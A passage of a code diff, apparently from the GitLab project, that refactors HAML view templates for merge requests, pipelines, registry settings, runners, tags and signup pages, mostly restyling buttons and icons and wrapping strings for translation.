= render 'shared/issuable/assignees', project: merge_request.project, issuable: merge_request
- - if Feature.enabled?(:merge_request_reviewers, @project) && merge_request.reviewers.any?
+ - if Feature.enabled?(:merge_request_reviewers, @project, default_enabled: true) && merge_request.reviewers.any?
%li.gl-display-flex.issuable-reviewers
= render 'shared/issuable/reviewers', project: merge_request.project, issuable: merge_request
= render 'projects/merge_requests/approvals_count', merge_request: merge_request
diff --git a/app/views/projects/merge_requests/_mr_title.html.haml b/app/views/projects/merge_requests/_mr_title.html.haml
index cd4ffa8602e..1691a304e8b 100644
--- a/app/views/projects/merge_requests/_mr_title.html.haml
+++ b/app/views/projects/merge_requests/_mr_title.html.haml
@@ -2,8 +2,9 @@
- can_update_merge_request = can?(current_user, :update_merge_request, @merge_request)
- can_reopen_merge_request = can?(current_user, :reopen_merge_request, @merge_request)
- state_human_name, state_icon_name = state_name_with_icon(@merge_request)
+- are_close_and_open_buttons_hidden = merge_request_button_hidden?(@merge_request, true) && merge_request_button_hidden?(@merge_request, false)
-- if @merge_request.closed_without_fork?
+- if @merge_request.closed_or_merged_without_fork?
.gl-alert.gl-alert-danger.gl-mb-5
= sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
.gl-alert-body
@@ -18,33 +19,35 @@
.issuable-meta
#js-issuable-header-warnings
- = issuable_meta(@merge_request, @project, "Merge request")
+ = issuable_meta(@merge_request, @project)
%a.btn.btn-default.float-right.d-block.d-sm-none.gutter-toggle.issuable-gutter-toggle.js-sidebar-toggle{ href: "#" }
= sprite_icon('chevron-double-lg-left')
.detail-page-header-actions.js-issuable-actions
- .clearfix.issue-btn-group.dropdown
- %button.btn.btn-default.float-left.d-md-none{ type: "button", data: { toggle: "dropdown" } }
+ .clearfix.dropdown
+ %button.gl-button.btn.btn-default.float-left.gl-display-md-none.gl-w-full{ type: "button", data: { toggle: "dropdown" } }
Options
- = icon('caret-down')
+ = sprite_icon('chevron-down', css_class: 'gl-text-gray-500')
.dropdown-menu.dropdown-menu-right
%ul
- if can_update_merge_request
%li= link_to 'Edit', edit_namespace_project_merge_request_path(@project.namespace, @project, @merge_request)
- - if can_update_merge_request
- - unless @merge_request.closed?
+ - if @merge_request.opened?
%li
- = link_to @merge_request.work_in_progress? ? _('Mark as ready') : _('Mark as draft'), toggle_draft_issuable_path(@merge_request), method: :put, class: "js-draft-toggle-button"
+ = link_to @merge_request.work_in_progress? ? _('Mark as ready') : _('Mark as draft'), toggle_draft_merge_request_path(@merge_request), method: :put, class: "js-draft-toggle-button"
%li{ class: [merge_request_button_visibility(@merge_request, true), 'js-close-item'] }
= link_to 'Close', merge_request_path(@merge_request, merge_request: { state_event: :close }), method: :put, title: 'Close merge request'
- if can_reopen_merge_request
%li{ class: merge_request_button_visibility(@merge_request, false) }
- = link_to 'Reopen', merge_request_path(@merge_request, merge_request: { state_event: :reopen }), method: :put, class: 'reopen-mr-link', title: 'Reopen merge request'
+ = link_to 'Reopen', merge_request_path(@merge_request, merge_request: { state_event: :reopen }), method: :put, title: 'Reopen merge request'
- unless @merge_request.merged? || current_user == @merge_request.author
%li= link_to 'Report abuse', new_abuse_report_path(user_id: @merge_request.author.id, ref_url: merge_request_url(@merge_request))
- if can_update_merge_request
= link_to 'Edit', edit_project_merge_request_path(@project, @merge_request), class: "d-none d-md-block btn gl-button btn-grouped js-issuable-edit qa-edit-button"
- = render 'shared/issuable/close_reopen_button', issuable: @merge_request, can_update: can_update_merge_request, can_reopen: can_reopen_merge_request
+ - if can_update_merge_request && !are_close_and_open_buttons_hidden
+ = render 'projects/merge_requests/close_reopen_draft_report_toggle'
+ - elsif !@merge_request.merged?
+ = link_to _('Report abuse'), new_abuse_report_path(user_id: @merge_request.author.id, ref_url: merge_request_url(@merge_request)), class: 'gl-display-none gl-display-md-block gl-button btn btn-warning-secondary float-right gl-ml-3', title: _('Report abuse')
diff --git a/app/views/projects/merge_requests/_widget.html.haml b/app/views/projects/merge_requests/_widget.html.haml
index 9736071b03f..123affeb5d6 100644
--- a/app/views/projects/merge_requests/_widget.html.haml
+++ b/app/views/projects/merge_requests/_widget.html.haml
@@ -1,4 +1,4 @@
-= javascript_tag nonce: true do
+= javascript_tag do
:plain
window.gl = window.gl || {};
window.gl.mrWidgetData = #{serialize_issuable(@merge_request, serializer: 'widget', issues_links: true)}
diff --git a/app/views/projects/merge_requests/conflicts/_commit_stats.html.haml b/app/views/projects/merge_requests/conflicts/_commit_stats.html.haml
index e6205f24ae6..cb1cb41eb71 100644
--- a/app/views/projects/merge_requests/conflicts/_commit_stats.html.haml
+++ b/app/views/projects/merge_requests/conflicts/_commit_stats.html.haml
@@ -1,16 +1,11 @@
.content-block.oneline-block.files-changed{ "v-if" => "!isLoading && !hasError" }
.inline-parallel-buttons{ "v-if" => "showDiffViewTypeSwitcher" }
.btn-group
- %button.btn{ ":class" => "{'active': !isParallel}", "@click" => "handleViewTypeChange('inline')" }
- Inline
- %button.btn{ ":class" => "{'active': isParallel}", "@click" => "handleViewTypeChange('parallel')" }
- Side-by-side
+ %button.btn.gl-button{ ":class" => "{'active': !isParallel}", "@click" => "handleViewTypeChange('inline')" }
+ = _('Inline')
+ %button.btn.gl-button{ ":class" => "{'active': isParallel}", "@click" => "handleViewTypeChange('parallel')" }
+ = _('Side-by-side')
.js-toggle-container
.commit-stat-summary
- Showing
- %strong.cred {{conflictsCountText}}
- between
- %strong.ref-name {{conflictsData.sourceBranch}}
- and
- %strong.ref-name {{conflictsData.targetBranch}}
+ = _('Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}').html_safe % { conflict_start: '<strong class="cred">'.html_safe, ref_start: '<strong class="ref-name">'.html_safe, strong_end: '</strong>'.html_safe, conflicts_text: '{{conflictsCountText}}', source_branch: '{{conflictsData.sourceBranch}}', target_branch: '{{conflictsData.targetBranch}}' }
diff --git a/app/views/projects/merge_requests/conflicts/_file_actions.html.haml b/app/views/projects/merge_requests/conflicts/_file_actions.html.haml
index 0839880713f..220ddf1bad3 100644
--- a/app/views/projects/merge_requests/conflicts/_file_actions.html.haml
+++ b/app/views/projects/merge_requests/conflicts/_file_actions.html.haml
@@ -1,12 +1,12 @@
-.file-actions
- .btn-group{ "v-if" => "file.type === 'text'" }
- %button.btn{ ":class" => "{ 'active': file.resolveMode == 'interactive' }",
+.file-actions.d-flex.align-items-center.gl-ml-auto.gl-align-self-start
+ .btn-group.gl-mr-3{ "v-if" => "file.type === 'text'" }
+ %button.btn.gl-button{ ":class" => "{ 'active': file.resolveMode == 'interactive' }",
'@click' => "onClickResolveModeButton(file, 'interactive')",
type: 'button' }
- Interactive mode
- %button.btn{ ':class' => "{ 'active': file.resolveMode == 'edit' }",
+ = _('Interactive mode')
+ %button.btn.gl-button{ ':class' => "{ 'active': file.resolveMode == 'edit' }",
'@click' => "onClickResolveModeButton(file, 'edit')",
type: 'button' }
- Edit inline
- %a.btn.view-file{ ":href" => "file.blobPath" }
- View file @{{conflictsData.shortCommitSha}}
+ = _('Edit inline')
+ %a.btn.gl-button.view-file{ ":href" => "file.blobPath" }
+ = _('View file @%{commit_sha}') % { commit_sha: '{{conflictsData.shortCommitSha}}' }
diff --git a/app/views/projects/merge_requests/conflicts/_submit_form.html.haml b/app/views/projects/merge_requests/conflicts/_submit_form.html.haml
index 94c262d300e..15655e2b162 100644
--- a/app/views/projects/merge_requests/conflicts/_submit_form.html.haml
+++ b/app/views/projects/merge_requests/conflicts/_submit_form.html.haml
@@ -18,7 +18,7 @@
.offset-md-4.col-md-8
.row
.col-6
- %button.btn.btn-success.js-submit-button{ type: "button", "@click" => "commit()", ":disabled" => "!readyToCommit" }
+ %button.btn.gl-button.btn-success.js-submit-button{ type: "button", "@click" => "commit()", ":disabled" => "!readyToCommit" }
%span {{commitButtonText}}
.col-6.text-right
= link_to "Cancel", project_merge_request_path(@merge_request.project, @merge_request), class: "gl-button btn btn-cancel"
diff --git a/app/views/projects/merge_requests/conflicts/show.html.haml b/app/views/projects/merge_requests/conflicts/show.html.haml
index decdbce3fa7..827df540629 100644
--- a/app/views/projects/merge_requests/conflicts/show.html.haml
+++ b/app/views/projects/merge_requests/conflicts/show.html.haml
@@ -20,9 +20,10 @@
.files-wrapper{ "v-if" => "!isLoading && !hasError" }
.files
.diff-file.file-holder.conflict{ "v-for" => "file in conflictsData.files" }
- .js-file-title.file-title
- %i.fa.fa-fw{ ":class" => "file.iconClass" }
- %strong {{file.filePath}}
+ .js-file-title.file-title.file-title-flex-parent.cursor-default
+ .file-header-content
+ %file-icon{ ':file-name': 'file.filePath', ':size': '18', 'css-classes': 'gl-mr-2' }
+ %strong.file-title-name {{file.filePath}}
= render partial: 'projects/merge_requests/conflicts/file_actions'
.diff-content.diff-wrap-lines
.file-content{ "v-show" => "!isParallel && file.resolveMode === 'interactive' && file.type === 'text'" }
diff --git a/app/views/projects/merge_requests/show.html.haml b/app/views/projects/merge_requests/show.html.haml
index 6b506c38795..c70fc624dde 100644
--- a/app/views/projects/merge_requests/show.html.haml
+++ b/app/views/projects/merge_requests/show.html.haml
@@ -16,9 +16,6 @@
.merge-request{ data: { mr_action: mr_action, url: merge_request_path(@merge_request, format: :json), project_path: project_path(@merge_request.project), lock_version: @merge_request.lock_version } }
= render "projects/merge_requests/mr_title"
- - if @merge_request.source_branch_exists?
- = render "projects/merge_requests/how_to_merge"
-
.merge-request-details.issuable-details{ data: { id: @merge_request.project.id } }
= render "projects/merge_requests/mr_box"
.merge-request-tabs-holder{ class: ("js-tabs-affix" unless ENV['RAILS_ENV'] == 'test') }
@@ -58,6 +55,8 @@
= render "projects/merge_requests/description"
= render "projects/merge_requests/widget"
= render "projects/merge_requests/awards_block"
+ - if mr_action === "show"
+ - add_page_startup_api_call discussions_path(@merge_request)
#js-vue-mr-discussions{ data: { notes_data: notes_data(@merge_request).to_json,
noteable_data: serialize_issuable(@merge_request, serializer: 'noteable'),
noteable_type: 'MergeRequest',
diff --git a/app/views/projects/merge_requests/widget/open/_error.html.haml b/app/views/projects/merge_requests/widget/open/_error.html.haml
index bbdc053609f..31efa64c672 100644
--- a/app/views/projects/merge_requests/widget/open/_error.html.haml
+++ b/app/views/projects/merge_requests/widget/open/_error.html.haml
@@ -1,5 +1,5 @@
%h4
- = icon('exclamation-triangle')
+ = sprite_icon('warning-solid')
This merge request failed to be merged automatically
%p
diff --git a/app/views/projects/network/show.html.haml b/app/views/projects/network/show.html.haml
index 4366676bd45..30ba22ba53c 100644
--- a/app/views/projects/network/show.html.haml
+++ b/app/views/projects/network/show.html.haml
@@ -8,7 +8,7 @@
= text_field_tag :extended_sha1, @options[:extended_sha1], placeholder: _("Git revision"), class: 'search-input form-control input-mx-250 search-sha'
= button_tag class: 'btn btn-success' do
= sprite_icon('search')
- .inline.prepend-left-20
+ .inline.gl-ml-5
.form-check.light
= check_box_tag :filter_ref, 1, @options[:filter_ref], class: 'form-check-input'
= label_tag :filter_ref, class: 'form-check-label' do
diff --git a/app/views/projects/new.html.haml b/app/views/projects/new.html.haml
index f2972a9617b..a407aa9ac13 100644
--- a/app/views/projects/new.html.haml
+++ b/app/views/projects/new.html.haml
@@ -8,10 +8,9 @@
.project-edit-errors
= render 'projects/errors'
- - if experiment_enabled?(:new_create_project_ui)
- .js-experiment-new-project-creation{ data: { is_ci_cd_available: ci_cd_projects_available?, has_errors: @project.errors.any? } }
+ .js-experiment-new-project-creation{ data: { is_ci_cd_available: (ci_cd_projects_available? if Gitlab.ee?), has_errors: @project.errors.any? } }
- .row{ 'v-cloak': experiment_enabled?(:new_create_project_ui) }
+ .row{ 'v-cloak': true }
.col-lg-3.profile-settings-sidebar
%h4.gl-mt-0
= _('New project')
diff --git a/app/views/projects/no_repo.html.haml b/app/views/projects/no_repo.html.haml
index 65c4232b240..d7853c1b466 100644
--- a/app/views/projects/no_repo.html.haml
+++ b/app/views/projects/no_repo.html.haml
@@ -1,5 +1,5 @@
-- breadcrumb_title _("Details")
-- page_title _("Details")
+- page_title _('No repository')
+- @skip_current_level_breadcrumb = true
%h2.gl-display-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
diff --git a/app/views/projects/pipelines/_with_tabs.html.haml b/app/views/projects/pipelines/_with_tabs.html.haml
index 8955b568741..b41c3f4fc27 100644
--- a/app/views/projects/pipelines/_with_tabs.html.haml
+++ b/app/views/projects/pipelines/_with_tabs.html.haml
@@ -26,7 +26,7 @@
= render_if_exists "projects/pipelines/tabs_holder", pipeline: @pipeline, project: @project
.tab-content
- #js-tab-pipeline.tab-pane.gl-absolute.gl-left-0.gl-w-full
+ #js-tab-pipeline.tab-pane.gl-w-full
#js-pipeline-graph-vue
#js-tab-builds.tab-pane
diff --git a/app/views/projects/pipelines/charts.html.haml b/app/views/projects/pipelines/charts.html.haml
index 55f1b9098c3..f3360e150ad 100644
--- a/app/views/projects/pipelines/charts.html.haml
+++ b/app/views/projects/pipelines/charts.html.haml
@@ -1,7 +1,10 @@
- page_title _('CI / CD Analytics')
-#js-project-pipelines-charts-app{ data: { counts: @counts, success_ratio: success_ratio(@counts),
- times_chart: { labels: @charts[:pipeline_times].labels, values: @charts[:pipeline_times].pipeline_times },
- last_week_chart: { labels: @charts[:week].labels, totals: @charts[:week].total, success: @charts[:week].success },
- last_month_chart: { labels: @charts[:month].labels, totals: @charts[:month].total, success: @charts[:month].success },
- last_year_chart: { labels: @charts[:year].labels, totals: @charts[:year].total, success: @charts[:year].success } } }
+- if Feature.enabled?(:graphql_pipeline_analytics)
+ #js-project-pipelines-charts-app{ data: { project_path: @project.full_path } }
+- else
+ #js-project-pipelines-charts-app{ data: { counts: @counts, success_ratio: success_ratio(@counts),
+ times_chart: { labels: @charts[:pipeline_times].labels, values: @charts[:pipeline_times].pipeline_times },
+ last_week_chart: { labels: @charts[:week].labels, totals: @charts[:week].total, success: @charts[:week].success },
+ last_month_chart: { labels: @charts[:month].labels, totals: @charts[:month].total, success: @charts[:month].success },
+ last_year_chart: { labels: @charts[:year].labels, totals: @charts[:year].total, success: @charts[:year].success } } }
diff --git a/app/views/projects/pipelines/index.html.haml b/app/views/projects/pipelines/index.html.haml
index 6aa1a564499..64ae4ff8daf 100644
--- a/app/views/projects/pipelines/index.html.haml
+++ b/app/views/projects/pipelines/index.html.haml
@@ -8,7 +8,7 @@
project_id: @project.id,
params: params.to_json,
"help-page-path" => help_page_path('ci/quick_start/README'),
- "help-auto-devops-path" => help_page_path('topics/autodevops/index.md'),
+ "auto-devops-help-path" => help_page_path('topics/autodevops/index.md'),
"pipeline-schedule-url" => pipeline_schedules_path(@project),
"empty-state-svg-path" => image_path('illustrations/pipelines_empty.svg'),
"error-state-svg-path" => image_path('illustrations/pipelines_failed.svg'),
diff --git a/app/views/projects/pipelines/new.html.haml b/app/views/projects/pipelines/new.html.haml
index bc8e6a6d9cc..7d5cef2015d 100644
--- a/app/views/projects/pipelines/new.html.haml
+++ b/app/views/projects/pipelines/new.html.haml
@@ -10,10 +10,12 @@
#js-new-pipeline{ data: { project_id: @project.id,
pipelines_path: project_pipelines_path(@project),
config_variables_path: config_variables_namespace_project_pipelines_path(@project.namespace, @project),
+ default_branch: @project.default_branch,
ref_param: params[:ref] || @project.default_branch,
var_param: params[:var].to_json,
file_param: params[:file_var].to_json,
- ref_names: @project.repository.ref_names.to_json.html_safe,
+ branch_refs: @project.repository.branch_names.to_json.html_safe,
+ tag_refs: @project.repository.tag_names.to_json.html_safe,
settings_link: project_settings_ci_cd_path(@project),
max_warnings: ::Gitlab::Ci::Warnings::MAX_LIMIT } }
diff --git a/app/views/projects/pipelines/show.html.haml b/app/views/projects/pipelines/show.html.haml
index 0b07fe9921e..847b96cbd0e 100644
--- a/app/views/projects/pipelines/show.html.haml
+++ b/app/views/projects/pipelines/show.html.haml
@@ -23,4 +23,4 @@
= render "projects/pipelines/with_tabs", pipeline: @pipeline, pipeline_has_errors: pipeline_has_errors
-.js-pipeline-details-vue{ data: { endpoint: project_pipeline_path(@project, @pipeline, format: :json) } }
+.js-pipeline-details-vue{ data: { endpoint: project_pipeline_path(@project, @pipeline, format: :json), pipeline_project_path: @project.full_path, pipeline_iid: @pipeline.iid } }
diff --git a/app/views/projects/registry/repositories/index.html.haml b/app/views/projects/registry/repositories/index.html.haml
index 9ac1fda169f..b53fbc97c02 100644
--- a/app/views/projects/registry/repositories/index.html.haml
+++ b/app/views/projects/registry/repositories/index.html.haml
@@ -17,6 +17,7 @@
"garbage_collection_help_page_path" => help_page_path('administration/packages/container_registry', anchor: 'container-registry-garbage-collection'),
"run_cleanup_policies_help_page_path" => help_page_path('administration/packages/container_registry', anchor: 'run-the-cleanup-policy-now'),
"cleanup_policies_help_page_path" => help_page_path('user/packages/container_registry/index', anchor: 'how-the-cleanup-policy-works'),
-
+ "project_path": @project.full_path,
+ "gid_prefix": container_repository_gid_prefix,
"is_admin": current_user&.admin.to_s,
character_error: @character_error.to_s } }
diff --git a/app/views/projects/registry/settings/_index.haml b/app/views/projects/registry/settings/_index.haml
index c6fae2cc7a1..a4d4a1bb2dd 100644
--- a/app/views/projects/registry/settings/_index.haml
+++ b/app/views/projects/registry/settings/_index.haml
@@ -5,4 +5,5 @@
older_than_options: older_than_options.to_json,
is_admin: current_user&.admin.to_s,
admin_settings_path: ci_cd_admin_application_settings_path(anchor: 'js-registry-settings'),
- enable_historic_entries: container_expiration_policies_historic_entry_enabled?(@project).to_s} }
+ enable_historic_entries: container_expiration_policies_historic_entry_enabled?(@project).to_s,
+ tags_regex_help_page_path: help_page_path('user/packages/container_registry/index', anchor: 'regex-pattern-examples') } }
diff --git a/app/views/projects/runners/_shared_runners.html.haml b/app/views/projects/runners/_shared_runners.html.haml
index c567b453bf2..4093f0a0719 100644
--- a/app/views/projects/runners/_shared_runners.html.haml
+++ b/app/views/projects/runners/_shared_runners.html.haml
@@ -1,16 +1,22 @@
+- isVueifySharedRunnersToggleEnabled = Feature.enabled?(:vueify_shared_runners_toggle, @project)
+
= render layout: 'shared/runners/shared_runners_description' do
- %hr
- - if @project.group&.shared_runners_setting == 'disabled_and_unoverridable'
- %h5.gl-text-red-500
- = _('Shared runners disabled on group level')
- - else
- - if @project.shared_runners_enabled?
- = link_to toggle_shared_runners_project_runners_path(@project), class: 'btn btn-close', method: :post do
- = _('Disable shared runners')
+ - if !isVueifySharedRunnersToggleEnabled
+ %hr
+ - if @project.group&.shared_runners_setting == 'disabled_and_unoverridable'
+ %h5.gl-text-red-500
+ = _('Shared runners disabled on group level')
- else
- = link_to toggle_shared_runners_project_runners_path(@project), class: 'btn btn-success', method: :post do
- = _('Enable shared runners')
- &nbsp; for this project
+ - if @project.shared_runners_enabled?
+ = link_to toggle_shared_runners_project_runners_path(@project), class: 'btn btn-close', method: :post do
+ = _('Disable shared runners')
+ - else
+ = link_to toggle_shared_runners_project_runners_path(@project), class: 'btn btn-success', method: :post do
+ = _('Enable shared runners')
+ &nbsp; for this project
+
+- if isVueifySharedRunnersToggleEnabled
+ #toggle-shared-runners-form{ data: toggle_shared_runners_settings_data(@project) }
- if @shared_runners_count == 0
= _('This GitLab instance does not provide any shared Runners yet. Instance administrators can register shared Runners in the admin area.')
diff --git a/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml b/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
index 9d81fda68cb..549ca36cb6a 100644
--- a/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
+++ b/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
@@ -1,4 +1,4 @@
-- pretty_name = html_escape(@project&.full_name) || html_escape_once(_('&lt;project name&gt;')).html_safe
+- pretty_name = @project&.full_name ? html_escape(@project&.full_name) : '<' + _('project name') + '>'
- run_actions_text = html_escape(s_("ProjectService|Perform common operations on GitLab project: %{project_name}")) % { project_name: pretty_name }
%p= s_("ProjectService|To set up this service:")
diff --git a/app/views/projects/services/slack_slash_commands/_help.html.haml b/app/views/projects/services/slack_slash_commands/_help.html.haml
index 86486d95eb7..67c43bd2f33 100644
--- a/app/views/projects/services/slack_slash_commands/_help.html.haml
+++ b/app/views/projects/services/slack_slash_commands/_help.html.haml
@@ -1,4 +1,4 @@
-- pretty_name = @project&.full_name || _('&lt;project name&gt;')
+- pretty_name = @project&.full_name ? html_escape(@project&.full_name) : '<' + _('project name') + '>'
- run_actions_text = html_escape_once(s_("ProjectService|Perform common operations on GitLab project: %{project_name}") % { project_name: pretty_name })
.info-well
diff --git a/app/views/projects/settings/ci_cd/show.html.haml b/app/views/projects/settings/ci_cd/show.html.haml
index f6ecb923100..0bef82ee325 100644
--- a/app/views/projects/settings/ci_cd/show.html.haml
+++ b/app/views/projects/settings/ci_cd/show.html.haml
@@ -66,11 +66,11 @@
%section.settings.no-animate#js-registry-policies{ class: ('expanded' if expanded) }
.settings-header
%h4
- = _("Cleanup policy for tags")
+ = _("Clean up image tags")
%button.btn.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
%p
- = _("Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need.")
+ = _("Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want.")
= link_to _('More information'), help_page_path('user/packages/container_registry/index', anchor: 'cleanup-policy', target: '_blank', rel: 'noopener noreferrer')
.settings-content
= render 'projects/registry/settings/index'
diff --git a/app/views/projects/settings/operations/show.html.haml b/app/views/projects/settings/operations/show.html.haml
index e5d34ff0fc9..73722a5a789 100644
--- a/app/views/projects/settings/operations/show.html.haml
+++ b/app/views/projects/settings/operations/show.html.haml
@@ -2,7 +2,7 @@
- page_title _('Operations Settings')
- breadcrumb_title _('Operations Settings')
-= render 'projects/settings/operations/alert_management', alerts_service: alerts_service, prometheus_service: prometheus_service
+= render 'projects/settings/operations/alert_management'
= render 'projects/settings/operations/incidents'
= render 'projects/settings/operations/error_tracking'
= render 'projects/settings/operations/prometheus', service: prometheus_service if Feature.enabled?(:settings_operations_prometheus_service)
diff --git a/app/views/projects/show.html.haml b/app/views/projects/show.html.haml
index f7c51e9ada9..5b9f868a71a 100644
--- a/app/views/projects/show.html.haml
+++ b/app/views/projects/show.html.haml
@@ -1,5 +1,5 @@
-- breadcrumb_title _("Details")
- @content_class = "limit-container-width" unless fluid_layout
+- @skip_current_level_breadcrumb = true
= content_for :meta_tags do
= auto_discovery_link_tag(:atom, project_path(@project, rss_url_options), title: "#{@project.name} activity")
diff --git a/app/views/projects/tags/_tag.html.haml b/app/views/projects/tags/_tag.html.haml
index 7679e0714fe..9d4e5d629f4 100644
--- a/app/views/projects/tags/_tag.html.haml
+++ b/app/views/projects/tags/_tag.html.haml
@@ -27,9 +27,6 @@
= sprite_icon("rocket", size: 12)
= _("Release")
= link_to release.name, project_releases_path(@project, anchor: release.tag), class: 'gl-text-blue-600!'
- - if release.description.present?
- .md.gl-mt-3
- = markdown_field(release, :description)
.row-fixed-content.controls.flex-row
- if tag.has_signature?
diff --git a/app/views/projects/tags/index.html.haml b/app/views/projects/tags/index.html.haml
index e0def8cf155..2fe5c5888f5 100644
--- a/app/views/projects/tags/index.html.haml
+++ b/app/views/projects/tags/index.html.haml
@@ -16,7 +16,7 @@
%button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown'} }
%span.light
= tags_sort_options_hash[@sort]
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable
%li.dropdown-header
= s_('TagsPage|Sort by')
diff --git a/app/views/projects/tags/new.html.haml b/app/views/projects/tags/new.html.haml
index fe42394d919..73b2a92dcc0 100644
--- a/app/views/projects/tags/new.html.haml
+++ b/app/views/projects/tags/new.html.haml
@@ -24,7 +24,7 @@
= hidden_field_tag :ref, default_ref
= button_tag type: 'button', title: default_ref, class: 'dropdown-menu-toggle wide js-branch-select monospace', required: true, data: { toggle: 'dropdown', selected: default_ref, field_name: 'ref' } do
.text-left.dropdown-toggle-text= default_ref
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
= render 'shared/ref_dropdown', dropdown_class: 'wide'
.form-text.text-muted
= s_('TagsPage|Existing branch name, tag, or commit SHA')
diff --git a/app/views/projects/terraform/index.html.haml b/app/views/projects/terraform/index.html.haml
index 136e7ded224..21a4fe5eae6 100644
--- a/app/views/projects/terraform/index.html.haml
+++ b/app/views/projects/terraform/index.html.haml
@@ -1,4 +1,6 @@
+- add_page_specific_style 'page_bundles/ci_status'
+
- breadcrumb_title _('Terraform')
- page_title _('Terraform')
-#js-terraform-list{ data: js_terraform_list_data(@project) }
+#js-terraform-list{ data: js_terraform_list_data(current_user, @project) }
diff --git a/app/views/projects/tree/_truncated_notice_tree_row.html.haml b/app/views/projects/tree/_truncated_notice_tree_row.html.haml
index 693b641888b..a03e0a549ee 100644
--- a/app/views/projects/tree/_truncated_notice_tree_row.html.haml
+++ b/app/views/projects/tree/_truncated_notice_tree_row.html.haml
@@ -1,6 +1,6 @@
%tr.tree-truncated-warning
%td{ colspan: '3' }
- = icon('exclamation-triangle fw')
+ = sprite_icon('warning-solid')
%span
Too many items to show. To preserve performance only
%strong #{number_with_delimiter(limit)} of #{number_with_delimiter(total)}
diff --git a/app/views/projects/wikis/git_access.html.haml b/app/views/projects/wikis/git_access.html.haml
deleted file mode 100644
index c166642bae2..00000000000
--- a/app/views/projects/wikis/git_access.html.haml
+++ /dev/null
@@ -1,37 +0,0 @@
-- @content_class = "limit-container-width" unless fluid_layout
-- page_title s_("WikiClone|Git Access"), _("Wiki")
-- add_page_specific_style 'page_bundles/wiki'
-
-.wiki-page-header.top-area.has-sidebar-toggle.py-3.flex-column.flex-lg-row
- = wiki_sidebar_toggle_button
-
- .git-access-header.w-100.d-flex.flex-column.justify-content-center
- %span
- = _("Clone repository")
- %strong= @wiki.full_path
-
- .pt-3.pt-lg-0.w-100
- = render "shared/clone_panel", project: @wiki
-
-.wiki-git-access
- %h3= s_("WikiClone|Install Gollum")
- %pre.dark
- :preserve
- gem install gollum
-
- %h3= s_("WikiClone|Clone your wiki")
- %pre.dark
- :preserve
- git clone #{ content_tag(:span, h(default_url_to_repo(@wiki)), class: 'clone')}
- cd #{h @wiki.path}
-
- %h3= s_("WikiClone|Start Gollum and edit locally")
- %pre.dark
- :preserve
- gollum
- == Sinatra/1.3.5 has taken the stage on 4567 for development with backup from Thin
- >> Thin web server (v1.5.0 codename Knife)
- >> Maximum connections set to 1024
- >> Listening on 0.0.0.0:4567, CTRL+C to stop
-
-= render 'shared/wikis/sidebar'
diff --git a/app/views/registrations/experience_levels/show.html.haml b/app/views/registrations/experience_levels/show.html.haml
index 24b87790e18..f878245a48c 100644
--- a/app/views/registrations/experience_levels/show.html.haml
+++ b/app/views/registrations/experience_levels/show.html.haml
@@ -15,8 +15,8 @@
= image_tag 'novice.svg', width: '78', height: '78', alt: ''
%div
%p.gl-font-lg.gl-font-weight-bold.gl-mb-2= _('Novice')
- %p= _('I’m not very familiar with the basics of project management and DevOps.')
- = link_to _('Show me everything'), users_sign_up_experience_level_path(experience_level: :novice, namespace_path: params[:namespace_path]), method: :patch, class: 'stretched-link'
+ %p= _('I’m not familiar with the basics of DevOps.')
+ = link_to _('Show me the basics'), users_sign_up_experience_level_path(experience_level: :novice, namespace_path: params[:namespace_path]), method: :patch, class: 'stretched-link'
.card
.card-body.gl-display-flex.gl-py-8.gl-pr-5.gl-pl-7
@@ -24,5 +24,5 @@
= image_tag 'experienced.svg', width: '78', height: '78', alt: ''
%div
%p.gl-font-lg.gl-font-weight-bold.gl-mb-2= _('Experienced')
- %p= _('I’m familiar with the basics of project management and DevOps.')
- = link_to _('Show me more advanced stuff'), users_sign_up_experience_level_path(experience_level: :experienced, namespace_path: params[:namespace_path]), method: :patch, class: 'stretched-link'
+ %p= _('I’m familiar with the basics of DevOps.')
+ = link_to _('Show me advanced features'), users_sign_up_experience_level_path(experience_level: :experienced, namespace_path: params[:namespace_path]), method: :patch, class: 'stretched-link'
diff --git a/app/views/registrations/welcome/show.html.haml b/app/views/registrations/welcome/show.html.haml
index 278c0ff7739..68de80f26f6 100644
--- a/app/views/registrations/welcome/show.html.haml
+++ b/app/views/registrations/welcome/show.html.haml
@@ -14,12 +14,20 @@
.row
.form-group.col-sm-12
= f.label :role, _('Role'), class: 'label-bold'
- = f.select :role, ::User.roles.keys.map { |role| [role.titleize, role] }, {}, class: 'form-control', autofocus: true
- .form-text.gl-text-gray-500.gl-mt-3= _('This will help us personalize your onboarding experience.')
+ = f.select :role, ::User.roles.keys.map { |role| [role.titleize, role] }, {}, class: 'form-control js-user-role-dropdown', autofocus: true
+ - if Feature.enabled?(:user_other_role_details)
+ .row
+ .form-group.col-sm-12.js-other-role-group{ class: ("hidden") }
+ = f.label :other_role, _('What is your job title? (optional)'), class: 'form-check-label gl-mb-3'
+ = f.text_field :other_role, class: 'form-control'
+ - else
+ .row
+ .form-group.col-sm-12
+ .form-text.gl-text-gray-500.gl-mt-0.gl-line-height-normal.gl-px-1= _('This will help us personalize your onboarding experience.')
= render_if_exists "registrations/welcome/setup_for_company", f: f
.row
.form-group.col-sm-12.gl-mb-0
- if partial_exists? "registrations/welcome/button"
= render "registrations/welcome/button"
- else
- = f.submit _('Get started!'), class: 'btn-register gl-button btn btn-block gl-mb-0 gl-p-3', data: { qa_selector: 'get_started_button' }
+ = f.submit _('Get started!'), class: 'btn-success gl-button btn btn-block gl-mb-0 gl-p-3', data: { qa_selector: 'get_started_button' }
diff --git a/app/views/search/_filter.html.haml b/app/views/search/_filter.html.haml
